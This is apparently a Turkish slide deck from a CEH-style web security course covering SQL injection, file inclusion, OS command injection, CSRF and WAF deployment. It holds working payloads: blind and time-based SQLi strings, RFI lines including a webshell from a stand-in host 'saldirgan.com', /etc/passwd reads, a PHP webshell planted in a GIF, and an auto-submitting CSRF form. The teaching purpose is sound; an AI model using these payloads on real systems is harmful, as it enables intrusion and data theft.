 Dizginin (string) parçalara bölünmesi
BGA | CEH
@BGASecurity
SQL - CREATE
calisanlar
Ad Soyad Cinsiyet Yas Telefon
Kemal Kara E 27 534564
Zeynep Lale K 32 535454
Ali Bulut E 42 345345
CREATETABLE calisanlar (
AdVARCHAR(12),
SoyadVARCHAR(25),
Cinsiyet CHAR(1),
Yas NUMBER(3),
Telefon CHAR(6) );
BGA | CEH
@BGASecurity
SQL - SELECT
SELECT Ad, Soyad FROM calisanlar
WHEREYas > 30;
calisanlar
Ad Soyad Cinsiyet Yas Telefon
Kemal Kara E 27 534564
Zeynep Lale K 32 535454
Ali Bulut E 42 345345
Zeynep Lale
Ali Bulut
Sonuç:
BGA | CEH
@BGASecurity
SQL - INSERT
calisanlar
Ad Soyad Cinsiyet Yas Telefon
Zeynep Lale K 32 535454
Ali Bulut E 42 345345
INSERT INTO calisanlarVALUES
(“Sinan”, “Ordu”, “E”, “19”,
“454321”);
BGA | CEH
@BGASecurity
SQL - Mantıksal İfadeler
 Mantıksal İfade Operatörleri  Değil
 Ve  Veya
Operatör Açıklama
&&, &, and Ve
||, |, or Ya da
!, not Değil
İfade1 İfade2 İfade1 && ifade2
Doğru Doğru Doğru
Doğru Yanlış Yanlış
Yanlış Doğru Yanlış
Yanlış Yanlış Yanlış
İfade !(İfade) - Değili
Doğru Yanlış
Yanlış Doğru
İfade1 İfade2 İfade1 || ifade2
Doğru Doğru Doğru
Doğru Yanlış Doğru
Yanlış Doğru Doğru
Yanlış Yanlış Yanlış
BGA | CEH
@BGASecurity
SQL Injection - Senaryo
SELECT * FROM users WHERE id=$id;
SELECT * FROM users WHERE id=100
SELECT * FROM users WHERE id=100 OR 2>1
Dinamik bir SQL sorgusu
Normal bir değişken değeri
Anormal bir değişken değeri: SQL Enjeksiyonu
BGA | CEH
@BGASecurity
SQL Injection Çeşitleri
 Olma şeklinden
 Integer
 String
 Saldırı Perspektifinden
 Kör (Blind)
 Zaman Tabanlı
 Union
 Hata Tabanlı
 Out of Band
BGA | CEH
@BGASecurity
Integer SQL Injection - Test Teknikleri
/urundetay.aspx?id=5
Ürün Detayı
LedTV
Orijinal Cevap
select * from products where id=5
BGA | CEH
@BGASecurity
Integer SQL Injection - Test Teknikleri
/urundetay.aspx?id=5’
HATA SAYFASI
select * from products where id=5’
BGA | CEH
@BGASecurity
Integer SQL Injection - Test Teknikleri
/urundetay.aspx?id=5 waitfor delay ‘00:00:05’ --
select * from products where id=5 waitfor delay ‘00:00:05’ --
Ürün Detayı
LedTV
Orijinal Cevap 5 sn gecikmeli
BGA | CEH
@BGASecurity
Integer SQL Injection - Test Teknikleri
/urundetay.aspx?id=5
select * from products where id=5
Ürün Detayı
LedTV
Orijinal Cevap
/urundetay.aspx?id=5 and 5=5
select * from products where id=5 and 5=5
HATA SAYFASI
/urundetay.aspx?id=5 and 5=6
Ürün Detayı
LedTV
Orijinal Cevap
select * from products where id=5 and 5=6
BGA | CEH
@BGASecurity
Integer SQL Enjeksiyonu – Manuel Test Teknikleri
 ?id=5
 ?id=5’
 ?id=5 or 5=5
 ?id=5 and 5=5
 ?id=5 and 5=6
 ?id=5;--testdata
 ?id=5 waitfor delay ‘00:00:05’ --
BGA | CEH
@BGASecurity
String SQL Injection - Test Teknikleri
/goster.do?isim=muro
Kullanıcı Detayı
Muro
Orijinal Cevap
select * from users where name=‘muro’
BGA | CEH
@BGASecurity
String SQL Injection - Test Teknikleri
HATA SAYFASI
/goster.do?isim=muro’
select * from users where name=‘muro’’
BGA | CEH
@BGASecurity
String SQL Injection - Test Teknikleri
Kullanıcı Detayı
Muro
Orijinal Cevap 5 sn gecikmeli
/goster.do?isim=muro’ and SLEEP(5) %23
select * from users where name=‘muro’ and SLEEP(5) # ’
BGA | CEH
@BGASecurity
String SQL Injection - Test Teknikleri
/goster.do?isim=muro
select * from users where name=‘muro’
Kullanıcı Detayı
Muro
Orijinal Cevap
/goster.do?isim=muro’ and ‘5’=‘5
select * from users where name=‘muro’ and ‘5’=‘5’
HATA SAYFASI
/goster.do?isim=muro’ and ‘5’=‘6
Kullanıcı Detayı
Muro
Orijinal Cevap
select * from users where name=‘muro’ and ‘5’=‘6’
BGA | CEH
@BGASecurity
Blind SQL Injection Teori - MySQL
select version()
5.0.51b-community-nt
Veritabanı
Versiyonu
select mid(version(), 7, 1)
b
Veritabanı
Versiyonunun
Yedinci Karakteri
select ord(mid(version(), 7, 1))
98
Versiyonun
Yedinci Karakterinin
ASCII Değeri
BGA | CEH
@BGASecurity
Kör SQL Injection
/urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 63
Ürün Detayı
LedTV
Orijinal Cevap
select * from products where id=5 and ord(mid(version(), 7, 1)) > 63
98
5.0.51b-community-nt
b
1 127
63
BGA | CEH
@BGASecurity
Kör SQL Injection
/urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 95
Ürün Detayı
LedTV
Orijinal Cevap
select * from products where id=5 and ord(mid(version(), 7, 1)) > 95
98
5.0.51b-community-nt
b
63 127
95
BGA | CEH
@BGASecurity
Kör SQL Injection
/urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 111
select * from products where id=5 and ord(mid(version(), 7, 1)) > 111
98
5.0.51b-community-nt
b
HATA SAYFASI
95 127
111
BGA | CEH
@BGASecurity
Sql Injection İstismar Araçları
 Sqlmap
 Absinthe
 Pangolin
 Sqifinder
 Sqlninja
 Havij
BGA | CEH
@BGASecurity
SqlMap
 Açık kaynak kodlu gelişmiş Sqli istismar aracı
 Python kullanılarak geliştirilmiştir.
 Bilinen tüm SQLi tiplerini destekler
 Kimlik doğrulama gerektiren ekranlar için cookie ile tarama
desteği sunar
 Bilinen tüm veritabanı sistemlerini destekler
 İşletim sistemlerinden shell alma, google’dan arama özellikleri
vardır.
 WAF, IPS atlatma amaçlı tamper script yazımını destekler.
BGA | CEH
@BGASecurity
Havij SQLi İstismar Aracı
BGA | CEH
@BGASecurity
Sqlmap ile Sql İnjection İstismarı
 ./sqlmap.py -u 'http://testasp.vulnweb.com/showforum.asp?id=0' -p id –dbs
BGA | CEH
@BGASecurity
Mysql üzerinden local dosya okuma
 Mysql’e komut satırından bağlantı kurulur.
mysql -u root –p veya mysql remote_ip –u root –p
 Ardından aşağıdaki komut ile local dosyalar okunabilir.
select load_file('/etc/passwd'); --
BGA | CEH
@BGASecurity
Code Injection
 Saldırganın hedef web uygulaması üzerine zararlı kod
veya kod parçacığı eklemesidir.
 Büyük çoğunlukla PHP tabanlı uygulamalar da
bulunsa da JEE/ASP.NET uygulamalarında da görmek
mümkündür.
BGA | CEH
@BGASecurity
PHP Include
 Karmaşık kodları daha iyi yönetebilmek için modülariteyi
arttırmak amacı ile PHP çatısında, bir PHP dosyasına başka
bir PHP dosyasının dahil edilmesi özelliği vardır.
 Bu işlem için aşağıdaki fonksiyonlar kullanılır
 include(dosya_ismi)
 require(dosya_ismi)
 include_once(dosya_ismi)
 require_once(dosya_ismi)
BGA | CEH
@BGASecurity
PHP Include - Örnek
<html>
<body>
<?php include 'header.php'; ?>
<h1>Merhaba <?php echo $user ?>
Ana sayfaya Hoşgeldiniz...</h1>
...
<?php
$user = $_SESSION[‘user’];
?>
header.php
index.php
BGA | CEH
@BGASecurity
PHP Include - Örnek
<html>
<body>
<?php
$user = $_SESSION[‘user’];
?>
<h1>Merhaba <?php echo $user ?>
Ana sayfaya Hoşgeldiniz...</h1>
...
index.php
header.php dosyası içeriği
kopyalandı ve
index.php dosyasına
yapıştırıldı.
BGA | CEH
@BGASecurity
Code Injection - PHP
 PHP include/require fonksiyonlarına giden
parametre değerleri saldırganlar tarafından
değiştirilebilirse,
 Diğer sistem ve uygulama dosyaları da çalıştırılacak
PHP dosyaları içine kopyalanıp, saldırgana cevap
olarak dönebilir.
BGA | CEH
@BGASecurity
Code Injection - Senaryo
/index.php?lang=tr <?php
$language = $_REQUEST[‘lang’];
include($language.”.php”);
…
?>
index.php
<?php
…
?>
tr.php
sonuç
1
2
3
BGA | CEH
@BGASecurity
Code Injection - Saldırı - LFI
/index.php?lang=/etc/paswd%00
<?php
$language = $_REQUEST[‘lang’];
include($language.”.php”);
…
?>
index.php
root::
guvenlikod::
…
/etc/passwd
sonuç
1
2
3
BGA | CEH
@BGASecurity
Code Injection - Saldırı - RFI
/index.php?lang=http://www.saldirgan.com/webshell.txt?
<?php
$language = $_REQUEST[‘lang’];
include($language.”.php”);
…
?>
index.php
sonuç
1
4
www.saldirgan.com
php
web
shell
2
3
BGA | CEH
@BGASecurity
Örnek Saldırı String’leri
RFI-Remote File Inclusion: Uzaktan kod çağırma/dosya dahil etme
LFI-Local File Inclusion: Server içinden kod çağırma/dosya dahil etme
?id=http://saldirgan.com/myshell.txt%00
?id=http://saldirgan.com/myshell.txt?
?id=../../../uploads/myshell.txt
?id=../../../uploads/myshell.txt%00
142
BGA | CEH
@BGASecurity
Diğer Denetim Teknikleri
143
?file=.htaccess
content.php?file=content.php
?file=../../../../../var/log/apache/error.log%00
?file=[http|https|ftp]://saldirgan_sunucu/shell.txt%00
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
?file=http://127.0.0.1/yol/xss.php?param=phpkodu
BGA | CEH
@BGASecurity
DirectoryTraversal
 Nam-ı diğer Path Traversal
 Sebep:Yetersiz girdi kontrolü(filtreleme)
 Amaç:ulaşılması normalde mümkün olmayan dosyalara
ulaşma (../../../etc/passwd, ....)
BGA | CEH
@BGASecurity
GerçekHayattan Örnekler
BGA | CEH
@BGASecurity
Fimap ile Otomatik RFI/LFI
 PHP uygulamalarında otomatik RFI ve LFI bulmak için Python
ile yazılmış bir araçtır.
 http://code.google.com/p/fimap/
 >= Python 2.4
 Versiyon alpha_09
BGA | CEH
@BGASecurity
Fimap - Örnek
python fimap.py
-u http://sunucu/index.php?pg=
-x
python >=2.4gereksinimi
Parametreler ile beraber
denetlenecek URL
Başarılı saldırı sonrası
interaktif bir oturum açılması
BGA | CEH
@BGASecurity
Fimap - Reverse Shell
1
2
4
3
5
BGA | CEH
@BGASecurity
OS Commanding
 Uygulamalar geliştirilirken işletim sistemi komutları çalıştırma
ihtiyacı olabilir.
 Örn: Popüler komut satırı Unix/Linux/Windows uygulamalarına web
arayüzü yazılması;
▪ iptables, asterisk, qmail, v.b.
 Yetersiz girdi kontrolü nedeniyle saldırganın hedef web
uygulamasını kullanarak işletim sisteminde komutlar
çalıştırması OS Commanding olarak adlandırılır.
BGA | CEH
@BGASecurity
OS Commanding - Ön Bilgi
KULLANICI
KOMUT SATIRI
İŞLETİM SİSTEMİ
DONANIM
BGA | CEH
@BGASecurity
OS Commanding - Ön Bilgi
ls -al
dir .
BGA | CEH
@BGASecurity
OS Commanding - Unix -|
ls -al | ping www.bga.com.tr
BGA | CEH
@BGASecurity
OS Commanding - Windows -|
dir C: | ping www.bga.com.tr
BGA | CEH
@BGASecurity
OS Commanding - Unix - ;
ls -al ; ping www.bga.com.tr
BGA | CEH
@BGASecurity
OS Commanding - Windows - &
dir . & ping www.bga.com.tr
BGA | CEH
@BGASecurity
OS Commanding - Tanım
 Uygulamalar geliştirilirken işletim sistemi komutları
çalıştırma ihtiyacı olabilir.
 Örn: Popüler komut satırı Unix/Linux/Windows
uygulamalarına web arayüzü yazılması;
▪ iptables, asterisk, qmail, v.b.
 Yetersiz girdi kontrolü nedeniyle saldırganın hedef web
uygulamasını kullanarak işletim sisteminde komutlar
çalıştırması OS Commanding olarak adlandırılır.
BGA | CEH
@BGASecurity
OS Commanding - Senaryo
1. Komut 2. Komut
3. Cevap4. Sayfa + Cevap UYGULAMA
BGA | CEH
@BGASecurity
OS Commanding - WorkCentre
BGA | CEH
@BGASecurity
function=HTTP_IP_Restriction_Update&Protocol=tcp&Action=ACCEP
T&Chain=INPUT&Interface=eth0&SourceIP=1.2.3.4&Dport=80&SrcPor
t=443
OS Commanding - WorkCentre
iptables -A -p -i -s -j
tcp INPUT
eth0 1.2.3.4
ACCEPT
BGA | CEH
@BGASecurity
www.webguvenligi.org
function=HTTP_IP_Restriction_Update&Protocol=tcp&Action=ACCEP
T | ping
www.webguvenligi.org&Chain=INPUT&Interface=eth0&SourceIP=1.2.
3.4&Dport=80&SrcPort=443
OS Commanding - WorkCentre
iptables -A -p -i -s -j
tcp
INPUT
eth0 1.2.3.4
ACCEPT |ping
BGA | CEH
@BGASecurity
OS Commanding - Test Teknikleri
?id=| dir C:
?id=|| dir C:
?id= & dir C:
?id= && dir C:
BGA | CEH
@BGASecurity
CSRF:Cross Site Request Forgery
 CSRF:Cross Site Request Forgery
 Sebebi: Yetersiz girdi kontrolü
 Sonuçları: İstem dışı yetkili olaylar
 E-posta adresinin başkasına yönlendirilmesi
 Kullanılan ADSL modemin DNS adreslerinin değiştirilmesi
 Paypal üzerinden otomatik bağış işlemleri
BGA | CEH
@BGASecurity
Cross Site Request Forgery - CSRF
1. Kurban A sitesine giriş yapar,
2. Kurban zehirli B sitesini tarayıcısında açar,
3. B sitesi Kurbanın tarayıcısına yüklenir yüklenmez, A
sitesine istek yapar,
4. A sitesi gelen istekleri Kurbanın yaptığını kabul eder
ve işleme alır.
BGA | CEH
@BGASecurity
CSRF – Ön Bilgi
Bir web sitesi diğer sitelere istek gönderebilir
<img src=“http://banka.com/index.aspx?data=1”/>
<form action=http://banka.com/index.aspx>
<input name=data type=hidden value=1/>
</form>
<script>
forms[0].submit();
</script>
<iframe src=“http://banka.com/index.aspx?data=1”/>
GETPOST
BGA | CEH
@BGASecurity
CSRF – Ön Şart
HTTP/1.1 200 OK
Set-Cookie:
.ASPXAUTH=78JDAA765462A
Content-Length: 55
…
POST /login.aspx HTTP/1.1
Host: www.banka.com
Content-Length: 55
username=usr&password=web
HTTP/1.1 200 OK
Content-Length: 324
…
POST /transfer.aspx HTTP/1.1
Host: www.banka.com
Cookie: ASPXAUTH= 78JDAA765462A
Content-Length: 62
fromHsp=1&mktr=5&toHsp=09
BGA | CEH
@BGASecurity
CSRF – Saldırı
200 OK HTTP/1.1
Content-Length: 1255
…
<form action=http://www.banka.com>
…
</form>
GET /blog HTTP/1.1
Host: blog.teknoloji.com
200 OK HTTP/1.1
Content-Length: 324
…
POST /transfer.aspx HTTP/1.1
Host: www.banka.com
Cookie: .ASPXAUTH=78JDAA765462A
Content-Length: 65
fromHsp=1&mktr=3&toHsp=7
BGA | CEH
@BGASecurity
CSRF – Confused Deputy
TARAYICI YetkiliTransfer
YetkisizTransfer
?
ŞaşkınVekil
BGA | CEH
@BGASecurity
CSRF – Örnek
<iframe style="width: 0px; height: 0px;" name="hidden"></iframe>
<form method="post" name="csrf" target="hidden"
action="http://amazon.com/gp/product/handle-buy-box" >
<input type="hidden" name="ASIN" value="059600656X" />
<input type="hidden" name="offerListingID" value=“X.Ogqf" />
</form>
<script> document.csrf.submit(); </script>
BGA | CEH
@BGASecurity
CSRF - Önlem - Synchronizer Token
<form method="post" >
<input type="hidden" name="csrf" value="A2355GGras!123" />
<input type="text" name="fiyat" />
<input type="submit" value="GÖNDER" />
</form>
<a href="/iptal.htm?urunid=1223&csrf=A2355GGras!123 " ></a>
BGA | CEH
@BGASecurity
CSRF – Önlem – Akış
/ilk.do
1. CSRF token üret (A24!Fe)
2. SessionID ile ilişkilendir
3. Sayfa içinde gönder
csrf=A24!Fe
SessionID
/transfer.do?csrf=A24!Fe
CSRF token'ları
karşılaştır
BGA | CEH
@BGASecurity
CSRF - Manuel Test Tekniği
 Denetlenen uygulamaya girilir,
 Kişisel web proxyler kullanılarak istekler yapılır,
 Uygulamadan çıkmadan, web proxy istek/cevap listesinden
hassas sonuçlu işlemler tekrarlanır,
 Tekrarlanan işlem sonucu orijinal cevap ile aynıysa, CSRF
zafiyetinden bahsedilir.
171
BGA | CEH
@BGASecurity
Cookie Testleri- Oturum Yönetimi
 HTTP oturumları cookiler aracılığıyla yönetilir
 Cookie değeri olarak kullanıcıların değiştirebileceği anlaşılır
bilgiler verilmemesi gerekir.
 Admin=true
 Login=true/false
 Logged_in=1
 Oturum bilgisi istemci tarafında değil sunucu tarafında
tutulmalıdır
 Cookie olarak seçilen değer tahmin edilemez biricik
değerlerden oluşmalıdır
BGA | CEH
@BGASecurity
Parameter Pollution Açıklığı
 http://www.example.com/Messages/Message.asp?t=i&c=y&m=
<img s&m=rc=&m=ab&m=onerror=prompt(1)&m=>
BGA | CEH
@BGASecurity
Two Factor Auth Bypass
 SMS ile giden parola dönen response içerisinde bir
yerlerde geçebilir.
 SMS ile gönderilen parola için araya girilerek Cep tel
değiştirilebilecek bir yer varsa saldırgan kendi cep
telefonuna SMS attırabilir.
BGA | CEH
@BGASecurity
Parolaların şifreli tutulduğunu belirleme
 Parola unuttum özelliği kullanılarak gönderilen yeni
parola eskisi ile aynıysa parola bilgisi şifresiz tutuluyor
demektir.
 Parola resetleme sonrası gelen yeni parola eskisinden
farklı ise parola şifreli tutuluyor olabilir
 Ya da parola oluşturma sistemi her seferinde değişik parola
üretecek şekilde yapılandırılmıştır
BGA | CEH
@BGASecurity
Öntanımlı Parola Denetimi
 Sık kullanılan
user/pass ikilileri
denenmeli
 Tomcat, Jboss gibi
bilinen uygulamalara
ait öntanımlı parolalar
denenmeli
BGA | CEH
@BGASecurity
ManageEngine Default Parola
BGA | CEH
@BGASecurity
ManageEngine Default Parola
BGA | CEH
@BGASecurity
File Upload Fonksiyonu Testleri
 File upload özelliğinin tespit edilmesi ve güvenlik açısından
irdelenmesi gerekli.
 Özellikle java ortamlarında .war dosyalarının upload edilip
edilmediği kontrol edilmeli. Başarılı ise cmd.war benzeri shell
uygulamlar atılabilir.
 Dosya uzantısı client tarafında kontrol ediliyorsa atlatmak
mümkündür.
 Dosya uzantısı hatalı kontrol edilmiş ise cmd.jpg.php gibi bir shell
upload edilebilir.
BGA | CEH
@BGASecurity
Gif İçerisine Php Kodu Yerleştirme
 gifsicle --comment "<?php
system($_GET['cmd']); ?>" < test.gif >
test.php.gif
BGA | CEH
@BGASecurity
Information Leakage
 En sıcak örneği OpenSSL heartbleed açıklığı
 OpenSSL üzerindeki bilgi açığa çıkarma açıklığı kullanılarak SSL
akan trafikler okunabilmiş ve kullanıcılara ait
username/password , eposta vs. okunabilmiştir.
BGA | CEH
@BGASecurity
Insecure Direct Object Ref.(IDOR) Açıklığı
 Integer veya string bir değeri değiştirerek yetkisiz içeriklere
erişim.
 Genellikle id benzeri bir değeri değiştirerek diğer kullanıcı
bilgilerine (fatura,kişisel bilgi vs.) erişim gerçekleştirme
 Fuzzing işlemine tabi tutularak tüm datalar ele geçirilebilir.
 https://esube.bgabank.com/ebank/aux/dekont.aspx?FisNumara
si=20131109292&pSubeAdi=&Sube=&HesapNo=101160000000
020&Tarih=10.01.2013
BGA | CEH
@BGASecurity
Remote Code Execution
 Hedef sistem üzerinde parametre olarak alınan değerlerin sistem komut
satırına gönderilmesi durumlarında ortaya çıkar
 Çok karşılaşılan bir açıklık olmamakla beraber zaman zaman çok kritik
sistemlerde çıkmaktadır.
BGA | CEH
@BGASecurity
WAF Atlatarak RCE Çalıştırma
 http://www.example.com/bWAPP/phpi.php?message=BGA;syste
m('cd+/etc/;cat+passwd’) //system()
 http://www.example.com/bWAPP/phpi.php?message=BGA;echo+
shell_exec('cd+/etc/;cat+passwd') //shell_exec
 http://www.example.com/bWAPP/phpi.php?message=BGA;echo
`cd+/etc/;cat+passwd` //bash script
 http://www.example.com/bWAPP/phpi.php?message=BGA;passt
hru('cd+/etc/;cat+passwd’) //passthru()
BGA | CEH
@BGASecurity
Hata Mesajlarından Hassas Bilgi Çıkarma
 Hata sayfalarından path bilgisi, source kod,
username/password,kullanılan uygulama versiyon v.b
bilgiler elde edilebilir.
 Uygulamalara olmayan sayfalarda veya hata üretilmesi
gereken girdiler uygulamaya sağlandığında kendi özel
hata sayfasının bastırılması gerekir.
BGA | CEH
@BGASecurity
Hata Mesajlarından Bilgi Toplama - I
 https://crackstation.net/admin
//Özel geliştirilmiş bir hata mesajı 
BGA | CEH
@BGASecurity
Dizin Listeleme
Etkilediği dizine ait tüm alt içerikler görülebilir.
BGA | CEH
@BGASecurity
Java Applet Tespiti (.jar)
 Stored kullanıcı adı ve parolalar için.
 Crawling ile bulunamayacak URL’lerin tespiti ve teknik
açıklıkların tespiti.
BGA | CEH
@BGASecurity
Java Applet Decompile
Java decompiler uygulaması ile kaynak kodlar incelenbilir.
BGA | CEH
@BGASecurity
Flash(.swf) DosyaTespiti
 Kaynak koddan .swf olarak aratılarak ilgili bağlantıları bulunur.
 İlgili bağlantı açıldıktan sonra save as yapılarak locale indirilebilir.
Otomatize taramalar için;
 Owasp Swf Intruder
 Hp SwfScan
BGA | CEH
@BGASecurity
Flash(.swf) Dosya Decompile - Swfscan
BGA | CEH
@BGASecurity
Captcha Bypass
 Captcha her seferinde değişiyormu?
 Captcha sonucu her seferinde değişiyormu (Sayı
toplatıp sonucu hep 71 çıkarabilir.)
 Üretilen captcha birden fazla istekte kullanılıyor mu?
 Captcha text formatında ise kaynak kodda gözükebilir
bu değer ile bypass edilebilir.
BGA | CEH
@BGASecurity
Web’e Yönelik Saldırıları Engelleme
 Web saldırıları 80/443 port üzerinden gelmektedir
 Güvenlik duvarlarında 80/443 portları açıktır ve gelen saldırı
paketleri rahatlıka Firewall’dan geçecektir
 Firewall+IPS kullanılıyorsa port 80 içeriğine bakılabilir
 IPS kullanılarak statik koruma sağlanır
 Açıklığı bilinen uygulamalara yönelik geliştirilmiş imzalarla
BGA | CEH
@BGASecurity
Web Saldırılarında Firewall/IPS Atlatma
Kaynak:Kevvie Fowler
BGA | CEH
@BGASecurity
Web Application Firewall
 HTTP’e özel uygulama seviyesi güvenlik duvarı
 Klasik Firewall/IPS’lerden farklı olarak HTTP
protokolü ve buna uygun çalışan yazılımlara detaylı
erişim kontrolü
 Imperva, modsecurity, Breach Security, F5, Citrix
Netscaler ...
BGA | CEH
@BGASecurity
WAF – Güvenlik Modelleri
WAF Çalışma
Yapısı
Positive
Sec.Model
Negatif Sec.
Model
Öğrenme
Tabanlı
BGA | CEH
@BGASecurity
WAF Yerleşim Senaryoları
 WAF için temelde dört yerleşim senaryosu vardır.
 inline bridge
 Offline(passive)
 Integrated
 Reverse proxy
BGA | CEH
@BGASecurity
Bridge Yerleşim Modeli
 WAF cihazının web sunucuların önüne bridge modda
yerleştirilerek trafiği üzerinden geçirmesi ve incelemesi
sağlanır(IPS benzeri)
 Ağ cihazlarında, web sunucularda ya da dns sunucularda
herhangi bir değişiklik yapılması gerekmez.
BGA | CEH
@BGASecurity
Offline(passive) Yerleşim Modeli
WAF cihazı web sunucuların olduğu switch mirrorlarak ya da
hub aracılığı ile bağlanır ve pasif olarak web sunuculara giden
trafiğin bir kopyasını alır.(IDS benzeri)
Alınan kopya trafik
üzerinde detaylı paket
analizi yapılarak zararlı
istekler için cevap üretilir,
bu cevaplarTCP RST
paketleridir.
BGA | CEH
@BGASecurity
Bütünleşik Yerleşim Modeli
 En basit WAF yerleşimidir ve tamamen çalışan
işletim sistemine, web sunucusuna bağlıdır.
 Microsoft IIS için kullanabileceğiniz xyz ürününü Linux
üzerinde ya da Windows üzerinde Apache için
kullanamazsınız
 Özellikle korunacak sistemlerin sayısı fazla değilse bu
tip bir yazılım tercih edilebilir.
BGA | CEH
@BGASecurity
Reverse Proxy Yerleşim Modeli
 Proxy mantığı ile çalışır.
 Web sayfasına ulaşmaya çalışan tüm istemciler web sunucu yerine
reverse Proxy modundaki WAF sistemine ulaşır ve kontrolden geçtikten
sonra sunucuya ulaştırılır
 Diğer yöntemlere göre altyapıda en fazla değişiklik gerektiren
modeldir.
 Sağlıklı çalışacak bir yapı için dns, web sunucu ve network ayarlarında
değişiklik gerektirir.
@BGASecurity
bgasecurity.com | @bgasecurity
Devamı için sonraki bölümlere geçiniz.

Contenu connexe

Tendances

Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıZararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıBGA Cyber Security
 
Uygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
Uygulamalı Ağ Güvenliği Eğitimi Lab ÇalışmalarıUygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
Uygulamalı Ağ Güvenliği Eğitimi Lab ÇalışmalarıBGA Cyber Security
 
Hacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziHacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziBGA Cyber Security
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3BGA Cyber Security
 
Uygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim NotlarıUygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim NotlarıBGA Cyber Security
 
Beyaz Şapkalı Hacker başlangıç noktası eğitimi
Beyaz Şapkalı Hacker başlangıç noktası eğitimiBeyaz Şapkalı Hacker başlangıç noktası eğitimi
Beyaz Şapkalı Hacker başlangıç noktası eğitimiKurtuluş Karasu
 
INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ BGA Cyber Security
 
Web Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriWeb Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriBGA Cyber Security
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugayFuat Ulugay, CISSP
 
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab KitabıBeyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab KitabıBGA Cyber Security
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab KitabıBGA Cyber Security
 
GÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMAGÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMABGA Cyber Security
 
Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriBGA Cyber Security
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıWebinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıBGA Cyber Security
 
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıPenetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıBGA Cyber Security
 

Tendances (20)

Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıZararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
 
Uygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
Uygulamalı Ağ Güvenliği Eğitimi Lab ÇalışmalarıUygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
Uygulamalı Ağ Güvenliği Eğitimi Lab Çalışmaları
 
BGA Pentest Hizmeti
BGA Pentest HizmetiBGA Pentest Hizmeti
BGA Pentest Hizmeti
 
Hacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziHacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem Analizi
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
 
Uygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim NotlarıUygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim Notları
 
Beyaz Şapkalı Hacker başlangıç noktası eğitimi
Beyaz Şapkalı Hacker başlangıç noktası eğitimiBeyaz Şapkalı Hacker başlangıç noktası eğitimi
Beyaz Şapkalı Hacker başlangıç noktası eğitimi
 
Kablosuz Ağlarda Güvenlik
